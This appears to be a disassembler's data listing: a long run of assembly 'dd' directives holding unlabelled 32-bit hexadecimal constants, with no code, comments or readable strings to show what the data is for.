dd 1737E96Dh, 68683DBCh, 11CC979Bh, 2283A805h, 8E2586AFh
dd 0B634CA72h, 0C355909h, 3293202Dh, 3695C92Fh, 253927FBh
dd 213D233Bh, 21C043Fh, 213FE01Eh, 253B233Dh, 29372739h
dd 2D332B35h, 2ECF2F31h, 2A342C32h, 26382836h, 223C243Ah
dd 0E31B203Eh, 0E0F1C28h, 0FE211799h, 0A026B7A5h, 2B8A2A69h
dd 112F5FBDh, 3442492Dh, 49973C25h, 0A928BB39h, 0B3E0E3Eh
dd 1C8A1FB6h, 0F821B0F0h, 0DFC026B0h, 3E7AFB2Fh, 3FB23D2Eh
dd 33722932h, 17803725h, 3E8A3949h, 0BA3E4D14h, 2E9A1C53h
dd 0CA70700Fh, 0A36F240Eh, 500B5CE7h, 0A793D2Ah, 1224303Bh
dd 67653061h, 2A199737h, 2CD53F3Bh, 96271B85h, 31B41BE6h
dd 2D6C60A9h, 0D28AE76h, 3B2CB6C2h, 4FCD2F15h, 3D4FBA21h
dd 64186969h, 3E3C3A82h, 18EB2C77h, 6DCE1ADBh, 4E3326E2h
dd 2C83A530h, 2A4163D9h, 0BA67C67Ch, 0A8E37B38h, 31A652DDh
dd 35ABD0AFh, 1FABD76Fh, 1B864DE3h, 6526B5A7h, 0E728472Ah
dd 7B22430Ch, 0B7DCD1C4h, 0B37B3855h, 862EDDABh, 0D3E773Ch
dd 3CDEE815h, 0E61EFD74h, 0CC0623FDh, 0B22D3C20h, 2808D91Fh
dd 962F012Eh, 96304247h, 3740E8DDh, 3B3BF08Fh, 0DB3C38E5h
dd 0D1D01B89h, 0A2D05295h, 0CC0427E3h, 0D6D4A22Eh, 0C41E8B28h
dd 35B4D26Ah, 0C7DD5362h, 39B96735h, 3DA49E1Bh, 5E46613Dh
dd 0E49EFE76h, 0AD2022BDh, 379479A2h, 2C343529h, 30302E32h
dd 342B322Eh, 3A9323CAh, 0F4F95AE1h, 7972ED85h, 0FEE91D0Ch
dd 249AEBABh, 0E5260B61h, 0DC2CC0E9h, 2FECA6C5h, 0CBF3F033h
dd 0F6E6BE24h, 922C0696h, 0CC383A1Ch, 3EBA445Dh, 0CB6220BAh
dd 7E2581FEh, 8FFBC163h, 0E9C4412Bh, 2889308Fh, 49333683h
dd 3C3E3E38h, 9D2BD5E3h, 1D6C151Fh, 181DE9Fh, 2644B3FEh
dd 0A139A683h, 302428CBh, 0DE702CCFh, 7FCC2A31h, 39373739h
dd 3D333B35h, 131B30C1h, 2F1F111Dh, 2B232D21h, 27272925h
dd 2C24D529h, 30202E22h, 343C323Eh, 3838363Ah, 33C43A36h
dd 143F313Dh, 101E121Ch, 2C222E20h, 0D8262A24h, 2B252927h
dd 2F212D23h, 333D313Fh, 2236373Eh, 0B03A4AEBh, 2EEDC2C4h
dd 9A12018Bh, 0DA8CF0A9h, 0A3E12BDCh, 0BE14588Ah, 243D140Fh
dd 5811287Eh, 0E01E6523h, 0CF3A2027h, 6210B733h, 4B4E18FFh
dd 0F4AAE049h, 0D5140952h, 7A384D27h, 7E859B8Ah, 51495A60h
dd 0E2CBB332h, 191C7BBBh, 19A03BB3h, 1E1B3E7Ah, 9617CAF5h
dd 0A023DDDDh, 1E26264Dh, 2D2B6E29h, 180B7AA0h, 6631F25Bh
dd 0BBDFF8BEh, 0A03B6639h, 5F3F265Fh, 1F4C4C20h, 0E4AE2362h
dd 7302A12Ch, 2B234328h, 722CC52Fh, 34E2C1BAh, 23BE372Ch
dd 336EDFCFh, 376E2D36h, 12154C1Ch, 0AE6F2169h, 3D35F610h
dd 0FD62F15h, 84224E9Fh, 9E31629Fh, 649D3461h, 3A6B9C37h
dd 3E6F9C91h, 891C49A7h, 73B01F4Ch, 77A88922h, 297AAF26h
dd 512C79AAh, 313467C2h, 0BE246030h, 3BBBBCEFh, 3448FB7Fh
dd 0B8F36F26h, 591F5B1Ch, 2CA87474h, 28430291h, 0D2A07D36h
dd 0CFE62EAEh, 9AC1F202h, 697FE7C2h, 333AA4D1h, 12BBEEB6h
dd 1E8D1B95h, 82EA03Ch, 0ACE7AEDDh, 0D1A1DE28h, 4D26ED64h
dd 79D2A977h, 273E5063h, 5E68FEBBh, 5FBB322Ch, 431CCC9Ah
dd 23917F44h, 0AD62C47Dh, 6D8B32A4h, 0A25EAE17h, 3241040Bh
dd 68F506CBh, 1996396Eh, 3E323C34h, 12131B30h, 2E20101Eh
dd 0D4813C22h, 2E244BCEh, 0ED398F15h, 61258E59h, 94E7F5DAh
dd 792C9F1Fh, 9D1CCBD2h, 42792B96h, 0AE9212BDh, 4037825Ch
dd 496A675Bh, 0AD0A8257h, 0BED23A85h, 0D96B2693h, 30984854h
dd 212FFA31h, 52302AF9h, 4B900953h, 33936821h, 0CF646C25h
dd 39AE2ECBh, 203E4DA7h, 0F031D960h, 3035CE6Fh, 137B77A9h
dd 0DD532C76h, 156CFC34h, 6FAA082Fh, 0AD15442Bh, 7AD607E1h
dd 1AF28B9h, 1DF9F01Ch, 19FC9B8Dh, 0B916C626h, 29FB34D7h
dd 184A900Ah, 0C1AD00DCh, 7775736Fh, 69683F74h, 0C57C2A2Ah
dd 3DAF4DAAh, 3D6ABEB2h, 18D06463h, 9C391D3Eh, 14F938F8h
dd 0E92CF761h, 2BDCA2A4h, 0C076E7B0h, 2C26E90Ah, 4574D1A8h
dd 384DBB37h, 2871C9CDh, 0ADFF351Fh, 0D8203F7Ch, 10591D13h
dd 0AC222E20h, 0B7B1AC20h, 106CA228h, 142E6AA5h, 0BA0D7FBBh
dd 0AF650A7Bh, 1A7976B5h, 0B5AFEFE7h, 1E6ACC7Eh, 6DAC0659h
dd 89AC7405h, 0C206586Eh, 0A42C2C53h, 0B92510B9h, 0A1BDFB7Bh
dd 0BCB33857h, 9CB5297Bh, 0F51C5BB8h, 5B04671h, 0F7982EA9h
dd 0AD27EE26h, 2DFDA6C3h, 0E051BEA6h, 3634E832h, 3B382747h
dd 0C5BFEBC5h, 1DA39CC1h, 0A4101C5Ch, 712022E6h, 9B7A44Dh
dd 0C1187A2Bh, 30BD2BEAh, 32031A03h, 3C6423CAh, 3CB43F09h
dd 906C3D2Dh, 1D593C80h, 0E7712021h, 27CEA62Ch, 0AF2A2629h
dd 672D2D86h, 277A4044h, 61323A40h, 6530BC10h, 0BF7D6E28h
dd 49049C1Fh, 0E2066CA2h, 25AFAF04h, 0EA2D37E6h, 3A587A1Ch
dd 322C102Ch, 37B55C3Bh, 3EFA3473h, 5E41FCBEh, 0E8F44C2Ah
dd 25A1421Fh, 41202343h, 5D4E2536h, 4F3F5A4Fh, 4230492Ch
dd 355F5657h, 993A5137h, 544E4C5Ch, 0DF1F3F4Ah, 72BE163Ch
dd 2696232Ah, 46233656h, 632B2159h, 5C49482Fh, 345B4144h
dd 39243435h, 5E545366h, 433D3EA5h, 3B3A99DAh, 2E3A7920h
dd 772639CCh, 0A31A0928h, 0F0A49B0h, 47DA1130h, 5B337734h
dd 0F1E197Ch, 3F6E3E56h, 5756F577h, 578B081Fh, 0EEAE0223h
dd 0AA275A23h, 0D07DB5C3h, 3AF1B5D0h, 0A23AB408h, 0D22A1C73h
dd 7C7D3C0Dh, 96E3E414h, 31203B52h, 0F0DB7272h, 290C73ADh
dd 0FED3793Ah, 21146BA3h, 65803337h, 6503B36h, 7A333A3Ah
dd 1818D33Ch, 0C87F9C1Dh, 0B5A12922h, 64A53624h, 68ED060Dh
dd 316F5209h, 0CB142BD9h, 7C2D36CAh, 3C213B98h, 8F9F383Dh
dd 0DF9A1F9Dh, 7FA6652Fh, 0AC752484h, 7EAE0835h, 0A303A624h
dd 74B937B0h, 3D3C5F21h, 187630F8h, 57344833h, 1D1D6CE1h
dd 26C13EF6h, 0AE652703h, 0BEA4B813h, 83AD180Fh, 36B1627Eh
dd 3034B031h, 0C5C7BBC7h, 39E23BE4h, 3DDD1CEEh, 0C09BF706h
dd 22341DA0h, 0CD6EAC3Eh, 23DC920Ah, 3E40EE15h, 784437D0h
dd 6818796Ah, 0D83FD43Fh, 1FFD443Dh, 0DBF7AE65h, 0AB73DEFDh
dd 0E92525E5h, 7A7C4A2Ah, 0D27BC67Dh, 4032E23Dh, 1C883C2Dh
dd 913BB7BDh, 71B4ABDh, 66BEB99h, 732AAE20h, 0B02F22AFh
dd 0A8747648h, 0EC22E92Ch, 3B1675BDh, 0E363664h, 3F747C79h
dd 24E0BE84h, 0DF9C5F1Bh, 2226813Fh, 66A52522h, 2CA2C9D0h
dd 2E0960A0h, 20DBF127h, 0BBB530BEh, 3A31FCB4h, 0B75B240Bh
dd 59380F7Bh, 2172231Fh, 0E2420732h, 310C6326h, 0D22D2B28h
dd 6D316EFBh, 11B0B824h, 53FC361Eh, 3E563D9Ah, 3E1B3D54h
dd 20211E39h, 2723323Dh, 0F41733DAh, 0A72A2829h, 0CFD1ADDDh
dd 5C393244h, 741038B0h, 0CA081D39h, 6F37F7B8h, 4E5F960Ah
dd 12AB7130h, 8613E37Bh, 0DAA4022Fh, 3A288D02h, 0F83D69D3h
dd 3E763BD5h, 0B23BF93Fh, 5D53FD3Dh, 7040CF73h, 0A903281Eh
dd 243922C2h, 3BBAE957h, 2FA4366Ah, 0F5BA91ECh, 363A343Ch
dd 3A363838h, 3E323C34h, 121C14C0h, 2E20101Eh, 2A242C22h
dd 26282826h, 2D23D42Ah
dd 313F2F21h, 353B333Dh, 39373739h, 32C33B35h, 131B303Eh
dd 2F1F111Dh, 2B232D21h, 0D7272925h, 2C242A26h, 30202E22h
dd 1D473700h, 0E980DEE9h, 0BC268B32h, 32BFE098h, 0D19C1EFFh
dd 0E3A62070h, 2779E051h, 0A52EA04Eh, 2B2F87C4h, 366D3030h
dd 2DF97A35h, 3B353937h, 0B32626FCh, 950507D7h, 12C13BDFh
dd 2E2295D2h, 5E960CFh, 1E3ECCDEh, 0CE6CB9C0h, 0CA70BF73h
dd 0BA29D0F6h, 0DD3DBD35h, 1F1CE4C0h, 21ABDC1Dh, 35CFE2FAh
dd 6CA1E425h, 38ECD728h, 0C66BD36Bh, 0D028B8E2h, 2753FE6Bh
dd 39083B56h, 818D339Dh, 211ECE5Dh, 7728ECE2h, 81CA770h
dd 11A07D39h, 0BBE0A53Fh, 355FDAE9h, 0B5F936B4h, 0D4383945h
dd 1B9F375Ch, 96FDA27h, 0A0E1BF2Fh, 0AED9EA74h, 0BD22BA94h
dd 9FAA369Ch, 0E8B73EEBh, 61472024h, 2E3918BBh, 0FF2B39F9h
dd 1F1D3A1Fh, 4223E09Ch, 0CE75EAA8h, 79298896h, 0AAE2B0Fh
dd 3515BE28h, 923210AAh, 9A3E1082h, 0BFED3B1Eh, 0C61D1A3Ch
dd 0C70A1E1Bh, 0E1D524E6h, 28CCDB21h, 0A999A2Dh, 32D5D77Eh
dd 67357302h, 39BD0F35h, 3F597B5Ch, 8232CAEh, 21CA27F8h
dd 24A6F749h, 5027A355h, 463B3769h, 5A2F7E29h, 0CBCC5A35h
dd 99603435h, 3B4E332Ch, 182E6E55h, 9F544CF7h, 72324B34h
dd 0D694CD73h, 2AB90C5Bh, 342FBC7Eh, 31E6B158h, 3276285Eh
dd 1B2C1B44h, 21283D2Dh, 842C5473h, 62C97719h, 20F52753h
dd 0A34FA0A7h, 8092877h, 8C1931AFh, 34715BB3h, 0B0603837h
dd 4F7B62Bh, 1691B29h, 3554D69Ah, 242673A8h, 287E2126h
dd 0EDAF255Fh, 0F7B32D2Eh, 40FDB730h, 0F90B37D6h, 0FD273ED1h
dd 0E31BE7BDh, 6F6ADD26h, 24340FAAh, 830B4431h, 4A0CD9h
dd 3C8C44h, 547713C2h, 0D9B2A019h, 1F175219h, 0D4BC309Dh
dd 171E3F0Dh, 63065DA9h, 0E20B8DCCh, 3B260FDBh, 2444242Ch
dd 1F063408h, 322C2282h, 1B091509h, 0EE120439h, 0E8D8019Bh
dd 26D5791Bh, 0AB3DEA52h, 19793968h, 2ACC2FFBh, 0E7D1FCC7h
dd 0BB642E02h, 0D21F7727h, 6A3DFD84h, 905C7B1Bh, 0C9727A51h
dd 6324E290h, 66A54EA6h, 8BC47B50h, 0F7302F9Eh, 3134BCB5h
dd 0B8A8B0F0h, 3DAD3B7Bh, 8F95B53Ah, 0AF5F096Dh, 6834F29h
dd 49656628h, 334A7A36h, 5BD20C8Dh, 16916F10h, 0D312D20Bh
dd 1E9A3818h, 1F7E6D13h, 9D673FBEh, 87E30386h, 0C7E97706h
dd 94089643h, 0AC0C9F0Eh, 416196F0h, 24F7086Fh, 9AB7B9B2h
dd 0DCAA8350h, 0D7C55437h, 2ADE4877h, 992A2CD1h, 0A1236027h
dd 0FFA6206Bh, 164D30A2h, 0F705BF2Bh, 0C9393ADEh, 0BDF7B79Eh
dd 3DEF18DEh, 0CAB4ABAh, 0DA26C3E6h, 2A2826F3h, 2C462D40h
dd 0B3D82D44h, 0BE30D3CAh, 0C6C7B4CEh, 5D323E2Ah, 19093A21h
dd 0A44E1C15h, 0B0427649h, 0FF5CCE77h, 200128B8h, 3D56B8Ah
dd 36B02E75h, 6A37DE34h, 7AC4C4E0h, 2F2FC0BEh, 0C3DEAC60h
dd 0F315F3E4h, 3B336F38h, 1238ADC0h, 249C2F4Eh, 8DDA1145h
dd 44348517h, 0EBAAE932h, 3326BF3Fh, 1DA9E55Bh, 0D912A0CCh
dd 84E4BDA3h, 2B1AA873h, 16A90568h, 0F10637F9h, 0B7EFF610h
dd 0DAF82F03h, 3F4EB832h, 0DC349D0Eh, 0A6465F78h, 24D0F62Fh
dd 0E83A3717h, 486C25CBh, 61F72CE4h, 0EDBFE2C5h, 0B9E2AFB6h
dd 193067A7h, 1899572Ah, 6053CE4Ch, 0A716E214h, 1853D9DDh
dd 501B28DBh, 14561E6Ch, 95B1B929h, 0B2C856D4h, 293ADAECh
dd 902F3FDCh, 0FD188C92h, 0E324B3A1h, 25F48551h, 29A850E8h
dd 2D3F76E6h, 0B2739537h, 0E83387F0h, 3B35A229h, 4F3F2DD4h
dd 0CAF104Bh, 7220701Ah, 6F51C9A6h, 3B7D2C33h, 3E907E2Fh
dd 1610462Bh, 34A43782h, 0CAA34AB6h, 0C16DFC24h, 1FC7132Ah
dd 25AF009Fh, 0A41C9F06h, 6B395222h, 2DF4DD26h, 0F414EF35h
dd 0BE64F3B1h, 309EDF94h, 22BE30E4h, 1C1438C1h, 200E26D5h
dd 242342ADh, 0C61FA72Eh, 59EFEAD6h, 95F2DF3h, 25CC3EE2h
dd 0DA3127C6h, 8E348A38h, 0DC2FBF55h, 6E1F7C19h, 6006DB11h
dd 35127585h, 7BBE4178h, 0AEFEC52Dh, 36788421h, 37862DDCh
dd 393A0B38h, 356E415Ch, 3E10AD9Ch, 272CB213h, 0D095106h
dd 2D291C27h, 0CE7B207Bh, 5F3BE44Dh, 0B651C65Ch, 2D335B3Dh
dd 2C20183Ah, 0D617EB1Ah, 2C6078BFh, 4493B357h, 0A836B44Fh
dd 1FBAAA4Bh, 545E272Eh, 25B66C46h, 0B6701418h, 0FD25B923h
dd 0E802B054h, 399DAE1Bh, 0AB3E82DBh, 0A627293Ch, 70D44E30h
dd 82F237A5h, 2DB92BBEh, 27C7E16Ch, 25BC23B6h, 0ED264F29h
dd 66D194Ch, 0DCEDA2E8h, 99AF3C86h, 32DF3E28h, 0B2AA2204h
dd 43893140h, 26063F37h, 0B173908h, 0F6C0D08h, 2D952C65h
dd 10317E2Dh, 0D62F1091h, 1F442835h, 1BFD1953h, 13105F4h
dd 85030A05h, 3A00E600h, 43105C5h, 219F277Ch, 0E81CB11Eh
dd 8719A01Eh, 1486271Bh, 133416C1h, 7310111Ah, 772E377Bh
dd 0B73B76E3h, 0BE3F3BA8h, 9E5EFA69h, 239CC51Eh, 0A696CA23h
dd 29AF0226h, 2FEA2829h, 0F28AC62Eh, 0F05E9032h, 0ADDF3236h
dd 0F88D39FBh, 0F33A163Eh, 0E01DDF99h, 0CB2422E4h, 24E650EAh
dd 1EBA1891h, 41BDAC15h, 0E3B936F3h, 0E23E957Ch, 0CBBC4638h
dd 87656063h, 98811FBh, 222E3E70h, 29252B2Ch, 2D292727h
dd 2C94632Bh, 0B13138E3h, 0BD6624DFh, 261D386Bh, 42B66B6Dh
dd 901C3B1Bh, 0AC70F35Dh, 25750B6Dh, 0D4B7DACEh, 3D7BA0D5h
dd 193D2F2Fh, 64325992h, 24BAA7DEh, 7F21BA26h, 3A06BB76h
dd 0ABBDCAF5h, 0B021FE3Ch, 0CAB25E5h, 0C4282AB1h, 0F0B5A029h
dd 0BF2BDE3Ah, 5CF7BFF9h, 0D46B121Dh, 183CBEC1h, 750D9D6Bh
dd 49324B21h, 7D27652Ah, 655D2920h, 0AAAE2DA9h, 794F6133h
dd 9735B0BCh, 933F3878h, 0EA8E3F19h, 9BA51C9Eh, 22A4E01Fh
dd 0C725A5EBh, 2B2C7D78h, 0CE2DA9F3h, 0B7D930AAh, 0B320C433h
dd 3AB9C037h, 2605082Ah, 0CF495F2Ah, 2150370Dh, 210FE12Fh
dd 22242774h, 0ED2957ABh, 22707738h, 41FDB662h, 55B87639h
dd 46D46A26h, 14557EEAh, 0C817F5BDh, 74E1C056h, 2DB5A6AEh
dd 6D0723A9h, 0B5A4DE0Fh, 34931522h, 69676437h, 7D436539h
dd 633F1BACh, 770D5D2Ch, 71BD6060h, 0A4F525DBh, 600239D1h
dd 2F283B73h, 0DB225388h, 643255A2h, 3EEA6C3Ah, 0A6B8B66Bh
dd 94051F1Bh, 5113C97h, 0AD49BC63h, 0EBB9A23Ah, 0BB0C0112h
dd 62ACA6A4h, 37353068h, 0FA0A2BC7h, 3E1940B6h, 4DB7E82Fh
dd 21859D95h, 7F5420F0h, 55A1D8D9h, 5828330Eh, 2114F23h
dd 0F1B568F2h, 0FA2EB733h, 5770165Ah, 24716F3Ah, 48481Fh
dd 0EAFC6E4h, 81ABAD21h, 1A020C8h, 0D17EBCACh, 0A2D352A7h
dd 0B3E2C975h, 0FC971EA5h, 5A7E1631h, 43977F88h, 2BE24504h
dd 0A76A2AB4h, 24ABA027h, 6F31750Fh, 3BB9350Ch, 0BC3E3474h
dd 79226824h, 7E70666Dh, 1EF59F11h, 3B5521DFh, 6723506Bh
dd 6B65E93Dh, 0EE1E3C6Bh, 722971E8h, 8EB9F76Ch, 77027007h
dd 62B66F34h, 4A1C303Fh, 0A52FC49Bh, 150C2312h, 3CD70B26h
dd 295C07A8h, 1574A648h, 5522432Ch, 69285D2Ah, 5D39DB69h
dd 7C18173Fh, 33010E1Ch, 0CC4A6FACh, 33737E5h, 0BD934279h
dd 3089C728h, 2A3374h, 69676CE4h, 7C3E2A6Ah, 183F2E7Dh
dd 0CE3A08E3h, 21143C22h, 248C25DCh, 98E2B0Dh, 2B4ACC2Eh
dd 660302C9h, 0DFA63714h, 3908B930h, 0EA3A594Fh, 0DE1F2A4Eh
dd 107D2227h, 24119821h, 1F91BD96h, 151C780Fh, 63BF323Eh
dd 0B7603703h, 3E6FA802h
dd 2936347Bh, 36861F6Dh, 2695F73Eh, 3527DCDCh, 0D6CBBAEh
dd 0C5252B0Eh, 2230298Dh, 15103376h, 2D1C7BBDh, 0FA1CB87Ah
dd 95DA041Ah, 0A210189Dh, 0DBDDC221h, 0C4BADDAh, 0D37E1A01h
dd 79AF6238h, 0F31F65B1h, 2135B27Fh, 0D43B3AC6h, 97243F51h
dd 3BDE4914h, 36DD733Eh, 0C7268504h, 1B660B29h, 0ABC61D29h
dd 0B0CA7941h, 0B0E6FC36h, 8B1EADB5h, 3DBE3D3Ah, 0CFEAB2E9h
dd 0FC1D934h, 0DCAED323h, 0D92BC1E6h, 0E6A62C8Eh, 132D1ACh
dd 9225C7E1h, 3B2DBCBDh, 4B1D0039h, 1E07583Eh, 20547A4Dh
dd 4AAC7328h, 8B28494Fh, 2C4F292Ah, 2031FE58h, 354E5A61h
dd 0C83D641Ah, 0BD79293Bh, 261BF16Bh, 227B7074h, 25E72209h
dd 6621A5F9h, 3529524Ch, 0E26D21ADh, 5D753AB2h, 31334547h
dd 0BD46B83Bh, 9AB68F02h, 9C1F421Bh, 0EACA2027h, 69A247A5h
dd 2B2C2816h, 0AFFEC52Dh, 0FDB91906h, 0C83035F3h, 0DDD23938h
dd 0B4B4BD3Dh, 40153857h, 2F21A97Bh, 0E2A62023h, 2FB9EB37h
dd 52E12C2Bh, 0C3BA662Fh, 233572B8h, 0DA693EF0h, 7763F53Ah
dd 63281A7Eh, 6D1F1E5Fh, 77FE2922h, 8C292792h, 0CD2D2B53h
dd 0A37B74ACh, 6336B367h, 98377605h, 8F383AA2h, 9BEE3D42h
dd 22095FCDh, 0F3627F5Ch, 1525BE77h, 2C8AAB7Ah, 0E953AF43h
dd 2D523463h, 389604F1h, 24365B46h, 91C1D7A9h, 0E9151E93h
dd 0CAB621C2h, 8D27C1CAh, 0F52ACDCEh, 0CBF82DC8h, 33D3FF30h
dd 0C84AB89Ch, 7FF9DA18h, 3FDC863Eh, 0ADF4C093h, 0CBE520FDh
dd 0E25C488h, 4BC0609Fh, 3C564F39h, 86A5BDA2h, 4D3C34CDh
dd 0DB3D3995h, 3E3DC33Dh, 1CFC5FD7h, 2D36DF3Bh, 0E63435A4h
dd 0E1403479h, 1D06460Fh, 0BFBD3CAEh, 8CDC2132h, 39575735h
dd 57285151h, 1C12552Dh, 6E751277h, 2549304Bh, 0E8314C21h
dd 2F41020Eh, 512DC67Dh, 0F0B041D1h, 0D1DE6B71h, 54337A4Bh
dd 8DA9367Fh, 0F9F1552h, 667D609Eh, 913C2EE4h, 292F2980h
dd 2D2EB236h, 32A53871h, 0B5AE6F2Eh, 21357629h, 7B502EF5h
dd 0DA487A17h, 23E57E1Eh, 6824E075h, 0BEF529E5h, 3A6C6AC2h
dd 0CC2572CFh, 0DF07B601h, 0EB0A4505h, 240ED508h, 8B28630Bh
dd 0C214B12Ah, 2F10DA16h, 541D0513h, 0DA19BE1Fh, 0F06201Bh
dd 9502B804h, 0EA0E8900h, 700B230Ch, 942CBC09h, 3827132Ah
dd 451B7719h, 0A41F561Dh, 0EE13B911h, 92E2E15h, 0F57EDA15h
dd 985E6034h, 92D36873h, 773E5E7Ch, 9954DDADh, 0E2A56BE1h
dd 47A8376Eh, 0EBA5A13Bh, 0C7E1A62Dh, 0D321206h, 76DD16F8h
dd 6B19F03Ah, 1CF0507Ch, 0D71F5D27h, 20220B3Ch, 2D3F07E5h
dd 9E329C4h, 9E2F4C2Dh, 96447FD0h, 0E7343E59h, 20D7D031h
dd 26B5C3C5h, 8EDCA239h, 55C543Eh, 8FD076h, 58632DF4h
dd 2C5D412Eh, 71275F28h, 0CCC33132h, 3C686574h, 0C554275Ah
dd 0B86B049Fh, 0E49C454Ch, 0A9232335h, 684D7571h, 0A6D47F79h
dd 6204AE3Fh, 0BEF4F2AAh, 0BE7274BBh, 9BCC7F70h, 5E7FDEBDh
dd 4D0E4DDCh, 13123908h, 27ACAD3Ch, 0CB322D2Bh, 38CE2E2Ch
dd 933D916Fh, 0D537556Bh, 1F321946h, 15565B7Eh, 4E1A7D07h
dd 432837D0h, 0EDA7536h, 0CA6AC3F2h, 0E7A43C3h, 0F2337041h
dd 34752413h, 6BA57827h, 6C3C56BBh, 1385FF8h, 30C4205Eh
dd 3D384242h, 9634C778h, 29016D27h, 3C316EA4h, 3D75B828h
dd 1D6C03BBh, 0BD78723Ah, 4E3A9F3Eh, 171FF777h, 2E027DE0h
dd 1D0B4529h, 0F52B8DCDh, 0FE852E8Ah, 93F03296h, 38908E35h
dd 963B9D94h, 8C3F999Fh, 0B8921DBBh, 2385A020h, 2784530Eh
dd 40272830h, 0FF962D8Ch, 101613C9h, 38121AD7h, 343A3638h
dd 0B83E323Ch, 1E121C14h, 0CBFD1321h, 6505A8EDh, 0DF11CA1Fh
dd 63140A13h, 8F08B016h, 200F3B0Ah, 56035D0Dh, 9C07A701h
dd 0F626FF05h, 4E1B7724h, 0AB1FA119h, 0FD13891Dh, 0DA17DB11h
dd 210C2E15h, 0C08010Eh, 9F047B0Ah, 0EA00EB06h, 227C302h
dd 7B225420h, 8C1E471Ch, 2AABAD24h, 73A70B0Dh, 54747373h
dd 343E72B8h, 2CF3B731h, 0BCF93BF9h, 8B3E3E39h, 0D28D8Ch
dd 233DDE20h, 2729252Bh, 2B252927h, 2F212D23h, 3CCD313Fh
dd 38363A34h, 343A3638h, 303E323Ch, 0E11D131Bh, 222E2010h
dd 249A2BA3h, 22C22B27h, 22B98E0Bh, 2A13C12Fh, 673D9043h
dd 68B32027h, 2F217F5Bh, 0F49FD334h, 50202A5Eh, 83D576Bh
dd 29282624h, 0F5DB7428h, 146EEF35h, 0CAECF932h, 1E7432C9h
dd 2C3E7D3Ah, 0E3995D36h, 1FDD5208h, 25665A17h, 2967FFE5h
dd 2C6BE22Ch, 41FC238Ch, 823E9231h, 983747EBh, 3C4AD334h
dd 83CB07CDh, 8ACEEF1Fh, 429B0123h, 45266530h, 0F42A583Ch
dd 2F5F394Dh, 33432551h, 476236A4h, 977C0C38h, 36EB2014h
dd 8A951F8Ah, 2B212F1Fh, 4EDA4E23h, 692985C7h, 8F492D2Bh
dd 3A61342Fh, 610BD57h, 6C09D4B3h, 347C3D6Ch, 77187133h
dd 25307551h, 2A143748h, 0A22E4D06h, 0C57C3BDBh, 0BB917ACFh
dd 37BF6512h, 7D0B67FEh, 0C0D43F3Ah, 959B3E6Dh, 700B1C1Dh
dd 0D869234Bh, 0D7776C25h, 2CD3283Ch, 14A3A32Bh, 0F033318Dh
dd 25356737h, 3CAF2FC6h, 1B1D3E2Fh, 1E740976h, 6C48234Ah
dd 4D294F24h, 0A62C433Ah, 270A29B8h, 32582C30h, 37CDDD66h
dd 0B8C5C605h, 0F7B515F8h, 0C5331CF9h, 0A9153A9Dh, 0CE75EA73h
dd 0FA2D8E20h, 76A96D3Bh, 238445EFh, 765EC44Ch, 33683976h
dd 0F2893BDBh, 0D4990B6Ch, 4B70186Ah, 0A60ECB23h, 0BE3B45h
dd 2CDCDA48h, 106E2E9Eh, 0D61D8530h, 0C73A00BBh, 6D380807h
dd 2E4C0D74h, 12F52CB3h, 17291122h, 1B6D1561h, 1A20194Ch
dd 60F183Dh, 276040Ch, 0EF900ABh, 0AE20CEAh, 2C0708E3h
dd 28592A23h, 149A166Eh, 10EF129Bh, 13521108h, 17EE1586h
dd 0BCD09FEh, 0E680C3Ch, 15E00B9h, 39DEBB1Ch, 0BF0AFEE0h
dd 242090BFh, 34C51883h, 0B92B3406h, 18EDBC29h, 826A6D70h
dd 0BD736A32h, 38991097h, 3E30B55Fh, 3CE9DF96h, 2360DC89h
dd 0A524C3EAh, 0FD2A8E25h, 2D33D49Bh, 312F2F31h, 352B332Dh
dd 39273729h, 3C3C3AB2h, 2FE211FEh, 3272DEDDh, 852E22Dh
dd 5F0CE635h, 0E22BA130h, 71A62FA4h, 3472BB35h, 3476BF3Dh
dd 3E3DFD5Fh, 923E3E3Dh, 9478005Bh, 55BD2535h, 0D8740BA4h
dd 2BF6053Dh, 29442C2Eh, 3158305Ah, 70BF53B4h, 0BA48111Ch
dd 7E6F6E3Eh, 5714C21Ah, 0BE482B5Eh, 0AF0126E2h, 63C62F27h
dd 94170FA9h, 5D4432AFh, 0A44536B2h, 413BB852h, 583FBD0Fh
dd 390FDA22h, 23E1E61Fh, 2465AE0Eh, 0EBBDF531h, 3BEE523Ch
dd 69316E29h, 1131F2CCh, 0FBA322B7h, 8F35793Bh, 1DD93E1Fh
dd 23BF0337h, 2AC20EF7h, 95D27E7h, 3AEA2E22h, 9076294Eh
dd 359B3729h, 0B636F42Dh, 9E3E3479h, 131A1FECh, 30DC1A1Ch
dd 763C8061h, 66B2646h, 2C0C0B2Fh, 0DF208C01h, 0F032B1BBh
dd 58365A46h, 273E394Ch, 0FB3E7968h, 1EBF4B1Ah, 0C3554551h
dd 211490BCh, 0B6988911h, 4F4E093Bh, 725E5C43h, 45373450h
dd 94184C52h, 4A4DAC54h, 0B3AF1D3Fh, 7FF01D1Eh, 564B4B22h
dd 47514552h, 48419B4Bh, 31D02C2Eh, 36154822h, 0FFC907B3h
dd 9D7AFA28h, 5D09FF3Ch, 61495A3Dh, 65E66B71h, 7B272722h
dd 40474F41h, 0B64A5668h, 74C23252h, 7D7F6533h, 0FE71DF75h
dd 4C3EDE3Ch, 1E4D5C4Fh, 6154805Fh, 6E27E70Ch, 0B5E4A47h
dd 7C767A2Bh, 27DE63D8h, 75A792E0h, 6A9A8911h, 1F39D565h
dd 0DEDA020Eh, 9D47491Eh
dd 10434A0Ah, 8B4AFECFh, 197C8434h, 0A811C3C7h, 2754209Bh
dd 0BCB43497h, 614962Ah, 9D0FB0D7h, 2134B646h, 6930E223h
dd 0C1846302h, 0AD2BE39Fh, 0E3B017C6h, 0EA328830h, 6A383A30h
dd 2BEC3E6Fh, 401EF69h, 0AB175896h, 0F2F6C21h, 2ADEE7EDh
dd 23E46A12h, 332F80AEh, 956325E1h, 0C00C4D35h, 3C9B314Ah
dd 0BB448F78h, 941CF6F4h, 1B22E1CFh, 0FF2625E5h, 282B2942h
dd 7F7C25ACh, 0DBDAFFBBh, 36753B34h, 23263814h, 3EB2E4D4h
dd 0D11F692Ah, 0A9315A1Fh, 78310077h, 0A939A127h, 22EF24EFh
dd 3030CA2Fh, 27347822h, 32BB8237h, 5FAC7D29h, 969C71FDh
dd 0DEDE8E85h, 7CB94320h, 0A7A832B0h, 4CBC4D28h, 0C4A1BB2Fh
dd 0B57B25B0h, 5B0A4030h, 9CF2697Eh, 1C97723Eh, 62DD461Fh
dd 7F414712h, 0B15EE41Bh, 6E5488AAh, 0F206D109h, 15A12800h
